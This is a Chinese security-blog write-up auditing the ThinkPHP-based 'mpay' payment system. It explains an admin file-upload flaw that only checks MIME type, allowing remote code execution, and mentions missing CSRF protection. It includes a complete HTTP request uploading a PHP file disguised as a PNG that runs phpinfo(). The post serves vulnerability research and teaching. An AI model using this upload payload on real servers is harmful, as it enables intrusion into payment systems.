【PHP代审】新款ThinkPHP码支付

admin 2025年5月27日16:16:33【PHP代审】新款ThinkPHP码支付已关闭评论5 views字数 1460阅读4分52秒阅读模式
【PHP代审】新款ThinkPHP码支付
【PHP代审】新款ThinkPHP码支付

点击上方蓝字·关注我们

免责声明
【PHP代审】新款ThinkPHP码支付

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

文章目录
【PHP代审】新款ThinkPHP码支付
项目介绍环境搭建代码审计    后台任意文件上传RCE    CSRF最后 
2sdfsf

项目介绍

码支付[mpay]是一款便捷收款工具,专注于个人免签收款,通过普通收款码即可实现收款通知自动回调,支持绝大多数商城系统

本程序暂只提供个人版,开源免费使用。 码支付是在源支付的设计思路基础上进行的改进,利用第四方聚合收款码来进行收款,保证收款稳定和便捷。聚合收款码个人可以申请,不需求相关资质,不用申请API接口,收银服务平台众多且实力雄厚(如拉卡拉、收钱吧等),不怕跑路

【PHP代审】新款ThinkPHP码支付

环境搭建

源码获取见文末

我本地小皮搭建会有问题所以采用宝塔搭建

搭建环境

PHP 8.2Mysql 5.7Nginx 1.21

宝塔创建站点,把源码上传上去,运行目录指向Public

【PHP代审】新款ThinkPHP码支付

创建数据库,编码为utf8mb4

【PHP代审】新款ThinkPHP码支付

访问http://域名/install进入安装程序

【PHP代审】新款ThinkPHP码支付

代码审计

基于ThinkPHP8二开的产物,方法集中在app/contriller

【PHP代审】新款ThinkPHP码支付

我们在全局搜索时主要搜索/Public/app/contriller

然后这套系统的权限架构没太搞明白,测试后可以前台访问的文件主要app/controller/
PayController.php中的几个方法,是前台的测试接口,未发现啥利用点所以没关注

后台任意文件上传RCE

搜索关键词upload

【PHP代审】新款ThinkPHP码支付

只有一处

【PHP代审】新款ThinkPHP码支付

分析下代码,127-129行是获取我们上传的文件对象,132行定义了应该文件类型白名单,但是MIME检测,没屁用,133行获取我们上传文件的MIME(可伪造),134-136行判断文件MIME是否符合,138行拼接我们上传的文件名,这里我们关注后缀,这里后缀getOriginalExtension(),直接拼接,140-143是创建上传文件目录,145行使用move上传我们拼接的文件,那么整个过程只要MIME检测,存在任意文件上传

对应功能点

【PHP代审】新款ThinkPHP码支付

测试数据包

POST /api/PayManage/uploadQrcode HTTP/1.1Host: 192.168.242.138User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: */*Referer: http://192.168.242.138/PayManage/addChannel?aid=2Cookie: PHPSESSID=77802fd6271d0d144182ac72afed19c1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy9RnFXy8pf8kRQg7Accept-Encoding: gzip, deflateOrigin: http://192.168.242.138Accept-Language: zh-CN,zh;q=0.9Content-Length: 805------WebKitFormBoundaryy9RnFXy8pf8kRQg7Content-Disposition: form-data; name="codeimg"; filename="
            ELOG.php"
          Content-Type: image/png{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x00\x10\x00\x00\x00\x10\x04\x03\x00\x00\x00\xed\xdd\xe2R\x00\x00\x000PLTE\xfc\xfe\xfcS\x12\x28\x1a^/<?php phpinfo();?>\xb9\xb6\xc5\x8d\x17\x29\xa4\xa7P\x0a\x0f\xb4r\x7dX\xac\xa3\xc6\xd7\xd3\xbf\xaaz~\x87\x92\x94i=<\x7fWY4:\xc4L\x86\\\x88\x00\x89X\x00\x00\x00VIDAT\x08\xd7c`@\x02\x1c\x06PF[2\x94\x91\x96\x07el\xaf\x862Xaj\xd8\x03\xa0\x8c\x85\xc2P\x86\xa0\x0c\x84f\x16\x14\x9c\x00fL?\x28\x13\xc9\xc9\xc0\xc0\xa4\xa4\xda\x7b#\xd4e\x01\x90Q\xc0\xc0\xc0\xe5\xe2\x00dl\x00*s\x11`\xe0W\x02\x19\xb7\xd6\x00\xee\x04\x00\x1a\xe5\x0d\x92\xba\xf2\xba\xb3\x00\x00\x00\x00IEND\xaeB`\x82")}}------WebKitFormBoundaryy9RnFXy8pf8kRQg7--
【PHP代审】新款ThinkPHP码支付

访问文件

【PHP代审】新款ThinkPHP码支付

CSRF

全局搜索关键词发现项目未开启CSRF防护

【PHP代审】新款ThinkPHP码支付

这里随便验证下

【PHP代审】新款ThinkPHP码支付
【PHP代审】新款ThinkPHP码支付
【PHP代审】新款ThinkPHP码支付

最后

源码获取微信公众号回复新款ThinkPHP码支付获取下载地址

二期公开课《PHP代码审计速成》持续更新中...

【PHP代审】新款ThinkPHP码支付

直播通知和课件都会在交流群中发布,有需要的师傅可以加我VX,备注:交流群,我拉你进群

【PHP代审】新款ThinkPHP码支付
性感群主不定期在线水群解答问题

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日16:16:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PHP代审】新款ThinkPHP码支付https://cn-sec.com/archives/3999106.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.